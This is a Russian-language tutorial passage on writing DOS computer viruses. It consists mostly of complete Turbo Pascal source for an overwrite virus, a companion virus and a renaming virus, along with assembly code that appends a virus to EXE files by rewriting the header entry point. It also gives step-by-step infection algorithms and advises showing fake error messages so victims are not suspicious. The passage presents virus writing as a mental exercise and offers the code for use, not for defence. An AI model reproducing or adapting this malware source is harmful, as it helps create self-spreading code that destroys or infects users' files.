Алгоритм работы overwrite-вируса следующий:
   1. Открыть файл, из которого вирус получил управление.
   2. Считать в буфер код вируса.
   3. Закрыть файл.
   4. Искать по маске подходящий для заражения файл.
   5. Если файлов больше не найдено, перейти к пункту 11.
   6. Открыть найденный файл.
   7. Проверить, не заражен ли найденный файл этим вирусом.
   8. Если файл заражен, перейти к пункту 10.
   9. Записать в начало файла код вируса.
   10. Закрыть файл (по желанию можно заразить от одного до всех файлов в каталоге или на диске).
   11. Выдать на экран какое-либо сообщение об ошибке, например «Abnormal program termination» или «Not enough memory», – пусть пользователь не слишком удивляется тому, что программа не запустилась.
   12. Завершить программу.
   Ниже приведен листинг программы, заражающей файлы таким способом.
 
   {$M 2048, 0, 0}
   {$A−}
   {$B−}
   {$D−}
   {$E+}
   {$F−}
   {$G−}
   {$I−}
   {$L−}
   {$N−}
   {$S−}
   {$V−}
   {$X+}
   {Используются модули Dos и System (модуль System автоматически
   подключается к каждой программе при компиляции)}
   Uses Dos;
   Const
   {Имя вируса}
   VirName=’Pain’;
   {Строка для проверки на повторное заражение.
   Она дописывается в заражаемый файл сразу после кода вируса}
   VirLabel: String[5]=’Pain!’;
   {Длина получаемого при компиляции EXE−файла}
   VirLen=4208;
   Author=’Dirty Nazi/SGWW.’;
   {Количество заражаемых за один сеанс работы файлов}
   InfCount=2;
   Var
   {Массив для определения наличия копии вируса в найденном файле}
   VirIdentifier: Array [1.5] of Char;
   {Файловая переменная для работы с файлами}
   VirBody: File;
   {Еще одна файловая переменная – хотя без нее можно было
   обойтись, так будет понятнее}
   Target: File;
   {Для имени найденного файла}
   TargetFile: PathStr;
   {Буфер для тела вируса}
   VirBuf : Array [1.VirLen] of Char;
   {Для даты/времени файла}
   Time : LongInt;
   {Счетчик количества инфицированных файлов}
   InfFiles : Byte;
   DirInfo : SearchRec;
   LabelBuf : Array [1.5] of Char;
   {Инициализация}
   procedure Init;
   begin
   LabelBuf[1]:=VirLabel[1];
   LabelBuf[2]:=VirLabel[2];
   LabelBuf[3]:=VirLabel[3];
   LabelBuf[4]:=VirLabel[4];
   LabelBuf[5]:=VirLabel[5];
   {Обнуляем счетчик количества инфицированных файлов}
   InfFiles:=0;
   {Связываем файловую переменную VirBody с именем программы,
   из которой стартовали}
   Assign(VirBody, ParamStr(0));
   {Открываем файл с recsize=1 байту}
   Reset(VirBody, 1);
   {Считываем из файла тело вируса в массив VirBuf}
   BlockRead(VirBody, VirBuf, VirLen);
   {Закрываем файл}
   Close(VirBody);
   end;
   {Поиск жертвы}
   procedure FindTarget;
   Var
   Sr: SearchRec;
   {Функция возвращает True, если найденная
   программа уже заражена, и False, если еще нет}
   function VirusPresent: Boolean;
   begin
   {Пока будем считать, что вируса нет}
   VirusPresent:=False;
   {Открываем найденный файл}
   Assign(Target, TargetFile);
   Reset(Target, 1);
   {Перемещаемся на длину тела вируса от начала файла}
   Seek(Target, VirLen);
   {Считываем 5 байт – если файл уже заражен,
   там находится метка вируса}
   BlockRead(Target, VirIdentifier, 5);
   If VirIdentifier=VirLabel Then
   {Если метка есть, значит есть и вирус}
   VirusPresent:=True;
   end;
   {Процедура заражения}
   procedure InfectFile;
   begin
   {Если размер найденного файла меньше, чем длина вируса
   плюс 100 байт, то выходим из процедуры}
   If Sr.Size < VirLen+100 Then Exit;
   {Если найденная программа еще не заражена, инфицируем ее}
   If Not VirusPresent Then
   begin
   {Запомним дату и время файла. Атрибуты запоминать не надо,
   так как поиск ведется среди файлов с атрибутом Archive, а этот
   атрибут устанавливается на файл после сохранения в любом случае}
   Time:=Sr.Time;
   {Открываем для заражения}
   Assign(Target, TargetFile);
   Reset(Target, 1);
   {Записывам тело вируса в начало файла}
   BlockWrite(Target, VirBuf, VirLen);
   {Перемещаем указатель текущей позиции
   на длину вируса от начала файла}
   Seek(Target, VirLen);
   {Вписываем метку заражения}
   BlockWrite(Target, LabelBuf, 5);
   {Устанавливаем дату и время файла}
   SetFTime(Target, Time);
   {Закрываем}
   Close(Target);
   {Увеличиваем счетчик инфицированных файлов}
   Inc(InfFiles);
   end;
   end;
   {Начало процедуры FindTarget}
   begin
   {Ищем в текущем каталоге файлы по маске *.EXE
   с атрибутами Archive}
   FindFirst(’*.EXE’, Archive, Sr);
   {Пока есть файлы для заражения}
   While DosError=0 Do
   begin
   If Sr.Name=’’ Then Exit;
   {Запоминаем имя найденного файла в переменную TargetFile}
   TargetFile:=Sr.Name;
   {Вызываем процедуру заражения}
   InfectFile;
   {Если заразили InfCount файлов, завершаем поиск}
   If InfFiles > InfCount Then Exit;
   {Ищем следующий файл по маске}
   FindNext(Sr);
   end;
   end;
   {Основное тело}
   begin
   {Инициализируемся}
   Init;
   {Ищем жертвы и заражаем их}
   FindTarget;
   {Выдаем на экран сообщение об ошибке}
   WriteLn(’Abnormal program termination.’);
   {Это чтобы компилятор вставил в код константы VirName
   и Author, условие же поставлено таким образом,
   что эти строки никогда не будут выведены на экран}
   If 2=3 Then
   begin
   WriteLn(VirName);
   WriteLn(Author);
   end;
   end.

Вирусы-спутники (Companion)

   Вирусы-спутники сейчас широко распространены – соотношение companion и parasitic вирусов примерно один к двум.

Инфицирование методом создания COM-файла спутника

   Смысл этого метода – не трогая «чужого кота» (EXE-программу), создать «своего» – COM-файл с именем EXE-программы. Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного EXE-файла с вирусным кодом, считывания в буфер тела вируса, запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.
   Заражение производится с помощью командного процессора:
   1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.
   2. Найти EXE-файл-жертву.
   3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом COM-файл с таким же именем, как у файла-жертвы.
   4. Если такой COM-файл присутствует, файл уже заражен, переходим к пункту 6.
   5. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением COM.
   6. Процедурой Exec загрузить и выполнить файл с именем стартового, но с расширением EXE – то есть выполнить инфицированную программу.
   7. Вернуть управление в DOS.
   Приведенный ниже листинг показывает заражение файлов этим методом.
 
   {$M 2048, 0, 0}
   {$A−}
   {$B−}
   {$D−}
   {$E+}
   {$F−}
   {$G−}
   {$I−}
   {$L−}
   {$N−}
   {$S−}
   {$V−}
   {$X+}
   {Используются модули Dos и System (модуль System автоматически
   подключается к каждой программе при компиляции)}
   Uses Dos;
   Const
   {Имя вируса}
   VirName=’Guest’;
   Author=’Dirty Nazi/SGWW. 4 PVT only!’;
   {Количество зараженных за один сеанс работы файлов}
   InfCount=2;
   Var
   {Для имени найденного файла}
   TargetFile : PathStr;
   {Для создания копии}
   TargetCOM : PathStr;
   {Счетчик количества заражений}
   InfFiles : Byte;
   DirInfo : SearchRec;
   {Для сохранения параметров командной строки}
   Parms : String;
   {Для цикла For}
   I: Byte;
   {Поиск жертв}
   procedure FindTarget;
   Var
   Sr : SearchRec;
   {Функция возвращает True, если найденная программа уже заражена,
   и False, если еще нет}
   function VirusPresent: Boolean;
   Var
   Target : File;
   begin
   {Пока будем считать, что вируса здесь нет}
   VirusPresent:=False;
   {Пытаемся открыть файл с именем найденной программы,
   но с расширением COM}
   Assign(Target, TargetCOM);
   Reset(Target, 1);
   {Если не было ошибок при открытии,
   программа уже инфицирована этим вирусом}
   If IOResult=0 Then
   begin
   VirusPresent:=True;
   {Открыли – закроем}
   Close(Target);
   end;
   end;
   {Собственно процедура заражения}
   procedure InfectFile;
   begin
   {Если найденная программа еще не заражена, инфицируем ее}
   If Not VirusPresent Then
   begin
   {С помощью командного процессора
   копируем вирусный код в COM−файл}
   SwapVectors;
   Exec(GetEnv(’COMSPEC’),’/C COPY /B ’+ParamStr(0)+’
   ’+TargetCOM+’ >NUL’);
   SwapVectors;
   {Увеличиваем на единицу счетчик инфицированных файлов}
   Inc(InfFiles);
   end;
   end;
   begin {начало процедуры FindTarget}
   {Ищем в текущем каталоге файлы по маске *.EXE
   с атрибутами Archive}
   FindFirst(’*.EXE’, Archive, Sr);
   {Пока есть файлы для заражения}
   While DosError=0 Do
   begin
   If Sr.Name=’’ Then Exit;
   {Запоминаем имя найденного файла в переменную TargetFile}
   TargetFile:=Sr.Name;
   TargetCOM:=Copy(TargetFile,1,Length(TargetFile)–4)+’.COM’;
   {Вызываем процедуру заражения}
   InfectFile;
   {Если заразили InfCount файлов, завершаем поиск}
   If InfFiles > InfCount Then Exit;
   {Ищем следующий файл по маске}
   FindNext(Sr);
   end;
   end;
   {Основное тело}
   begin
   Parms:=’ ’;
   {Запоминаем параметры командной строки}
   If ParamCount <> 0 Then
   For I:=1 To ParamCount Do
   Parms:=Parms+’ ’+ParamStr(I);
   {Ищем жертвы и заражаем их}
   FindTarget;
   TargetFile:=Copy(ParamStr(0),1,Length(ParamStr(0))−4)+’.EXE’;
   {Ищем файл с именем стартового файла, но с расширением EXE}
   FindFirst(TargetFile, AnyFile, DirInfo);
   {Если такой файл найден, запускаем его на выполнение}
   If DosError=0 Then
   begin
   SwapVectors;
   Exec(GetEnv(’COMSPEC’),’/C ’+TargetFile+Parms);
   SwapVectors;
   end Else
   {Если файл не найден, выходим,
   не внося в программу изменений}
   begin
   WriteLn(#13#10, VirName, ’ by ’,Author);
   WriteLn(’Какое−нибудь сообщение’);
   end;
   end.

Инфицирование методом переименования EXE-файла

   Отличий в алгоритмах работы этих вирусов и их «коллег», создающих файл-спутник, не так уж много. Но, по всей видимости, заражение методом переименования несколько совершеннее – для излечения от вируса нужно не просто удалить COM-файл с кодом вируса, а немного помучаться и разыскать, во что же переименован EXE-файл с инфицированной программой.
   1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.
   2. Найти EXE-файл-жертву.
   3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом-жертвой файл с таким же именем и с расширением, которое выбрано для инфицированной программы (например, OVL – программный оверлей).
   4. Если такой файл присутствует, программа уже инфицирована – переходим к пункту 7.
   5. Переименовать найденный файл-жертву (EXE) в файл с таким же именем, но с расширением, выбранным для инфицированной программы.
   6. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением жертвы.
   7. Найти в каталоге, из которого получено управление, файл с именем стартовой программы, но с расширением, выбранным для инфицированной – это и будет зараженная программа, которую в данный момент необходимо запустить на исполнение.
   8. Если такой файл не найден, переходим к пункту 12.
   9. Изменить расширение найденного файла на COM (ни в коем случае не на EXE, ведь в EXE-файле с таким именем находится вирусный код!).
   10. Процедурой Exec загрузить и выполнить переименованный файл – то есть выполнить инфицированную программу.
   11. Вернуть COM-файлу с инфицированной программой выбранное расширение, то есть превратить его опять в неисполняемый.
   12. Вернуть управление в DOS.
   Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider написан очень просто и доступно. За сеанс работы он заражает один EXE-файл в текущем каталоге. Сам процесс заражения также весьма прост: файл-жертва переписывается в файл с расширением OVL (оверлейный файл), а на его место с помощью командного процессора копируется вирусный код. При запуске происходит заражение только что найденного EXE-файла, затем вирусный код переименовывается в OWL, а OVL – в EXE, после чего оригинал запускается на исполнение. Когда оригинал отработал, происходит переименование в обратном порядке. С защищенного от записи диска программа не запустится, она выдаст сообщение, что диск защищен от записи.
   В представленном здесь виде вирус легко обезвредить, достаточно просто переименовать OVL-файл обратно в EXE. Но, чтобы усложнить лечение, в вирусе может быть использован такой прием:
 
   procedure MakeNot;
   Var
   Buf10: Array [1.10] of Byte;
   Cicle: Byte;
   begin
   Seek(Prog, 0);
   Reset(Prog);
   BlockRead(Prog, Buf10, 10);
   For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];
   Seek(Prog, 0);
   BlockWrite(Prog, Buf10, 10);
   Close(Prog);
   end;
 
   При использовании этой процедуры надо учитывать, что заражаемая и запускаемая на исполнение программа должна быть связана с переменной Prog типа File, описанной в основном модуле. Суть процедуры состоит в том, что из заражаемой программы считываются 10 байт и кодируются операцией Not. EXE-программа становится неработоспособной. Запускать эту процедуру нужно не только перед прогоном оригинала, но и после него.
 
   { Name Rider }
   { Version 1.0 }
   { Stealth No }
   { Tsr No }
   { Danger 0 }
   { Attac speed Slow }
   { Effects No }
   { Length 4000 }
   { Language Pascal }
   { BodyStatus Packed }
   { Packer Pklite }
   {$M 2048, 0, 0} { Stack 1024b, Low Heap Limit 0b,
   High Heap Limit 0b }
   {Используются модули Dos и System (модуль System автоматически
   подключается к каждой программе при компиляции)}
   Uses Dos;
   Const
   Fail=’Cannot execute ’#13#10’Disk is write−protected’;
   {Расширения файлов, которые будем использовать}
   Ovr=’.OWL’;
   Ovl=’.OVL’;
   Exe=’.EXE’;
   Var
   DirInfo : SearchRec;
   Sr : SearchRec;
   Ch : Char;
   I : Byte;
   OurName : PathStr;
   OurProg : PathStr;
   Ren : File;
   CmdLine : ComStr;
   Victim : PathStr;
   VictimName : PathStr;
   {Процедура для проверки диска на Read Only}
   procedure CheckRO;
   begin
   Assign(Ren, #$FF);
   ReWrite(Ren);
   Erase(Ren);
   If IOResult <> 0 Then
   {Если диск защищен от записи, то ответ ’Access denied’}
   begin
   WriteLn(Fail);
   Halt(5);
   end;
   end;
   {Процедура прогонки оригинала}
   procedure ExecReal;
   begin
   {Находим оригинал}
   FindFirst(OurName+Ovl, AnyFile, DirInfo);
   If DosError <> 0 Then
   {Если не нашли}
   begin
   WriteLn(’Virus RIDER. Let’s go on riding!’);
   WriteLn(’I beg your pardon, your infected file cannot be executed.’);
   {Выход с DosError=Файл не найден}
   Halt(18);
   end;
   {Переименовываем программу в OVL}
   Assign(Ren, OurName+Exe);
   ReName(Ren, OurName+Ovr);
   {Переименовываем оверлей в EXE}
   Assign(Ren, OurName+Ovl);
   ReName(Ren, OurName+Exe);
   {И запускаем его}
   SwapVectors;
   Exec(GetEnv(’COMSPEC’), ’/C ’+OurName+Exe+CmdLine);
   SwapVectors;
   {А теперь возвращаем все на место}
   Assign(Ren, OurName+Exe);
   ReName(Ren, OurName+Ovl);
   Assign(Ren, OurName+Ovr);
   ReName(Ren, OurName+Exe);
   end;
   {Процедура заражения}
   procedure Infect;
   begin
   {Переименовываем жертву в OVL}
   Assign(Ren, Victim);
   ReName(Ren, VictimName+Ovl);
   {Копируем тело вируса на место жертвы}
   SwapVectors;
   Exec(GetEnv(’COMSPEC’), ’/C COPY ’+OurProg+’ ’+Victim+’ >NUL’);
   SwapVectors;
   end;
   {Процедура поиска жертвы}
   procedure FindFile;
   begin
   {В текущем каталоге ищем EXE−файл}
   FindFirst(’*.EXE’, AnyFile, DirInfo);
   If DosError=0 Then
   {И если он найден}
   begin
   {Запоминаем имя жертвы}
   Victim:=DirInfo.Name;
   {Запоминаем имя без расширения}
   VictimName:=Copy(Victim, 1, Length(Victim)–4);
   {Ищем оверлей с тем же именем}
   FindFirst(VictimName+Ovl, AnyFile, Sr);
   If DosError <> 0 Then Infect;
   end;
   end;
   {Процедура инициализации переменных}
   procedure Init;
   begin
   {Командная строка}
   CmdLine:=’’;
   {Полное имя нашей программы}
   OurProg:=ParamStr(0);
   {Имя нашей программы без расширения}
   OurName:=Copy(ParamStr(0), 1, Length(ParamStr(0))–4);
   For I:=1 To ParamCount Do
   begin
   {Запоминаем параметры}
   CmdLine:=ParamStr(I)+’ ’;
   end;
   end;
   {Основная подпрограмма}
   begin
   {А эту табличку запишем в код для тех,
   кто распакует вирус и начнет в нем копаться}
   If False Then
   begin
   WriteLn(#13#10 ’ ’);
   end;
   {Инициализируемся}
   Init;
   {Проверка диска на R/O}
   CheckRO;
   {Ищем и заражаем}
   FindFile;
   {Загружаем оверлей}
   ExecReal;
   end.

Вирусы, внедряющиеся в программу (Parasitic)

   Эти вирусы являются самыми «хитрыми». Поскольку такой вирус внедряется в инфицируемую программу, это дает ему много преимуществ перед всеми вышеописанными вирусами: на диске не появляются лишние файлы, нет забот с копированием и переименованием, кроме того, усложняется лечение инфицированных файлов.

Стандартное заражение EXE-файлов

   Стандартное заражение – заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла управление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного COM-вируса. Чтобы выяснить способы работы с EXE-файлами, рассмотрим следующий фрагмент программы:
 
   ;Читаем заголовок EXE−файла (точнее, только первые 18h байт,
   ;которых вполне достаточно)
   ReadHeader:
   mov ah,3Fh
   mov dx,offset EXEHeader
   mov cx,0018h
   int 21h
   ;Устанавливаем в SI адрес считанного заголовка. В дальнейшем
   ;будем обращаться к заголовку, используя SI+смещение элемента
   mov si,offset EXEHeader
   ;Получаем реальную длину файла, переместив указатель текущей
   ;позиции чтения/записи в конец файла
   GetRealFSize:
   mov ax,4202h
   mov bx,Handle
   xor cx,cx
   xor dx,dx
   int 21h
   ;Сохраним полученную длину файла
   mov Reallen,dx
   mov Reallen+2,ax
   ;Так как речь идет о стандартной процедуре заражения, нужно
   ;помнить, что все вышесказанное не должно затрагивать
   ;оверлейные файлы. Их длина, указанная в заголовке,
   ;меньше реальной, то есть эти файлы загружаются
   ;в память не полностью.
   ;Следовательно, если заразить такой файл, вирус попадет
   ;в незагружаемую часть.
   ;Сохраним в стеке реальную длину EXE−файла
   push dx
   push ax
   ;Рассчитаем размер EXE−файла в 512−байтных страницах и остаток
   CompareOVL:
   mov cx,0200h
   div cx
   ;На данный момент в регистре AX находится число страниц
   ;(в каждой странице содержится 512 байт),
   ;а в регистре DX – остаток, образующий
   ;еще одну (неучтенную) страницу.
   ;Добавим эту страницу к общему числу страниц –
   ;если остаток не равен нулю, то
   ;увеличим число страниц
   or dx,dx
   jz m1
   inc ax
   m1:
   ;Будем считать пригодным для заражения
   ;стандартным способом файлы с длиной,
   ;полностью совпадающей с указанной в заголовке
   cmp ax,[si+PartPag]
   jne ExitProc
   cmp dx,[si+PageCnt]
   jne ExitProc
   ;Чтобы вирус смог вернуть управление
   ;зараженной программе, сохраним поля ReloSS,
   ;ExeSP, ReloCS, ExeIP из заголовка EXE−файла.
   ;Значения констант, используемых в программе,
   ;равны смещению соответствующего
   ;элемента в заголовке EXE−файла (Приложение А)
   InitRetVars:
   mov ax,[si+ReloSS]
   mov oldss,ax
   mov ax,[si+ExeSP]
   mov oldsp,ax
   mov ax,[si+ReloCS]
   mov oldcs,ax
   mov ax,[si+ExeIP]
   mov oldip,ax
   ;Восстановим из стека реальную длину файла
   ;В данном случае она совпадает с длиной, указанной в заголовке
   pop ax
   pop dx
   ;Рассчитаем длину программы с вирусом, для чего прибавим
   ;к длине файла длину тела вируса
   add ax,VIRSIZE ;VIRSIZE – длина тела вируса
   adc dx,0
   ;Рассчитаем получившуюся длину (одна страница – 512 байт)
   ;и остаток в последней странице (так же,
   ;как рассчитывали длину файла без вируса)
   mov cx,0200h
   div cx
   or dx,dx
   jz new_len
   inc ax
   New_len:
   ;Внесем в заголовок новую длину файла
   mov [si+PageCnt],ax
   mov [si+PartPag],dx
   ;Прочитаем реальную длину файла.
   ;По ней будем рассчитывать новую
   ;точку входа в программу (адрес запуска)
   Eval_new_entry:
   mov dx,Reallen+2
   mov ax,Reallen
   ;Рассчитаем новую точку входа.
   ;Точка входа в вирус должна находиться
   ;в начале его тела. Другими словами, нужно к длине файла
   ;прибавить смещение точки входа.
   ;Разделим длину на размер параграфа (10h)
   mov cx,10h
   div cx
   ;Получили число параграфов (AX) и остаток (DX – смещение
   ;вируса в последнем параграфе).
   ;Отнимем от числа параграфов в файле число
   ;параграфов в заголовке – получим сегмент входа в EXE−файл
   sub ax,[si+HdrSize]
   ;Запишем новую точку входа в заголовок
   mov [si+ReloCS],ax
   mov [si+ExeIP],dx
   ;Замечание: можно было округлить полученное число,
   ;и вирус начинался бы с 0000h.
   ;Но этого делать не стоит.
   ;Естественно, все обращения к данным в этом вирусе
   ;должны быть нефиксированными, как и в любом другом вирусе.
   ;Вместо ”mov ax,ANYDATA” придется делать так:
   ; mov si,VIRSTART
   ; mov ax,[si+offset ANYDATA]
   ;где offset ANYDATA – смещение относительно начала тела вируса
   ;Стек поставим за тело вируса – байт на 100h. Потом обязательно
   ;вернем, иначе можно стереть заготовленные в стеке значения!
   ;Установим сегмент стека такой же, как и кода,
   ;а указатель на вершину стека –
   ;на 100h байт после тела вируса
   mov [si+ReloSS],ax
   mov ax,VIRSIZE+100h
   mov [si+ExeSP],ax
   ;Теперь запишем заголовок в файл, не забыв и тело вируса.
   ;Рекомендуется писать сначала тело, а потом заголовок.
   ;Если тело вдруг не допишется,
   ;то файл испортим зря
   UpdateFile:
   ;Запишем тело вируса
   WriteBody:
   ;Установим указатель чтения/записи в конец файла
   mov bx,Handle
   xor cx,cx
   xor dx,dx
   mov ax,4202h
   int 21h
   ;Запишем тело вируса в файл
   mov ah,40h
   mov cx,VIRSIZE
   mov dx,offset VIRStart
   int 21h
   ;Запишем заголовок
   WriteHeader:
   ;Установим указатель чтения/записи в начало файла
   mov ax,4200h
   xor cx,cx
   xor dx,dx
   int 21h
   ;Запишем заголовок в файл
   mov cx,0018h
   mov ah,40h
   mov dx,si
   int 21h
 
   Итак, вирус «поселился» в EXE-файле. А как после окончания работы вируса передать управление инфицированной программе? Вот процедура выхода из вируса:
 
   CureEXE:
   StackBack:
   ;Установим первоначальный указатель (сегмент и смещение) стека
   mov ax,ds
   ;Прибавим 0010h, после чего в AX будет
   ;находится сегмент, с которого
   ;загружен программный модуль
   add ax,10h
   ;Прибавим первоначальный сегмент стека
   db @add_ax ;код ADD AX, дальше по аналогии
   OldSS dw ? ;это значение было установлено
   ;при заражении
   ;Запретим прерывания, так как со стеком нельзя работать,
   ;пока и сегмент, и смещение не установлены в нужное значение
   cli
   ;Установим сегмент стека (PSP+10h+OldSS)
   mov ss,ax
   ;Установим первоначальный указатель (смещение) стека
   db @mov_sp
   OldSP dw ?
   ;Разрешим прерывания – опасный участок пройден
   sti
   ;Подготовим значения в стеке для команды IRET
   RetEntryPoint:
   pushf
   ;Рассчитаем сегмент для кода по аналогии с сегментом стека
   mov ax,DATASEG
   add ax,10h
   db @add_ax
   OldCS dw ?
   ;Сохраним в стеке полученное значение (PSP+10h+OldCS)
   push ax
   ;Сохраним в стеке смещение исходной точки входа
   db @mov_ax
   OldIP dw ?
   push ax
   ;Запустим программу. В стеке находятся смещение
   ;точки входа, сегмент точки входа и флаги
   iret

Внедрение способом сдвига

   Инфицируемая программа размещается в файле после кода вируса, сдвигаясь на его длину, отсюда и название метода. Алгоритм работы вируса следующий:
   1. Открыть файл, из которого получено управление.
   2. Считать в буфер тело вируса.
   3. Закрыть файл.
   4. Найти файл-жертву (для данного типа вирусов лучше COM-файл, но можно и не слишком большой EXE – это связано с тем, что все тело инфицируемой программы считывается в память и ее может не хватить, если эта программа слишком большая).
   5. Открыть файл-жертву.
   6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура).
   7. Если файл уже инфицирован, перейти к пункту 3.
   8. Считать в буфер все тело программы.
   9. Записать в начало файла тело вируса из буфера.
   10. Дописать в файл после тела вируса тело программы из буфера. Длина программы увеличивается на длину вируса.
   11. Закрыть файл-жертву.
   12. Открыть файл, из которого стартовали.
   13. Считать в буфер тело инфицированной программы, расположенное в файле после тела вируса.
   14. Создать на диске временный файл с расширением COM или EXE (в зависимости от того, какой тип программ заражается).
   15. Записать в этот файл тело программы из буфера.
   16. Закрыть созданный файл.
   17. Процедурой Exec запустить созданный файл на исполнение – выполнится инфицированная программа.
   18. После завершения работы программы созданный файл удалить.
   19. Вернуть управление в DOS.
   Вирусы – это хорошая гимнастика для ума, хотя многие думают, что написать вирус на языке высокого уровня весьма трудно. Это не совсем так. Писать на языке Pascal довольно легко, правда величина полученного кода вызывает благоговейный трепет.

Внедрение способом переноса

   Вирусы данного типа размножаются следующим образом. Из инфицируемой программы от начала файла считывается часть кода, по длине равная длине вируса. На освободившееся место вписывается вирус, а оригинальное начало программы переносится в конец файла. Отсюда и название метода – «метод переноса». Есть и другие варианты. Иногда, например, начало программы записывается в середину файла, а середина переносится в конец, чтобы еще сильнее все запутать. Превосходство данного метода над другими описанными в том, что инфицированная программа исполняется в том же виде, в каком она была до заражения, из файла с тем же именем и расширением. То есть программы, проверяющие себя на предмет заражения вирусом, его не замечают. Корректно исполняются и такие программы, которые ищут свои файлы конфигурации с именами:
 
   ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI
 
   Недостаток данного метода проявляется при сбоях в работе компьютера. Если при исполнении инфицированной программы компьютер «повиснет» или произойдет перезагрузка системы, инфицированная программа окажется «чистой», то есть без вируса. Но, во-первых, «кто не рискует, тот не пьет шампанского», а во-вторых, программы виснут редко. Алгоритм работы такого вируса следующий:
   1. Открыть файл, из которого получено управление.
   2. Считать в буфер тело вируса.
   3. Закрыть файл.
   4. Найти файл-жертву.
   5. Открыть файл-жертву.
   6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура).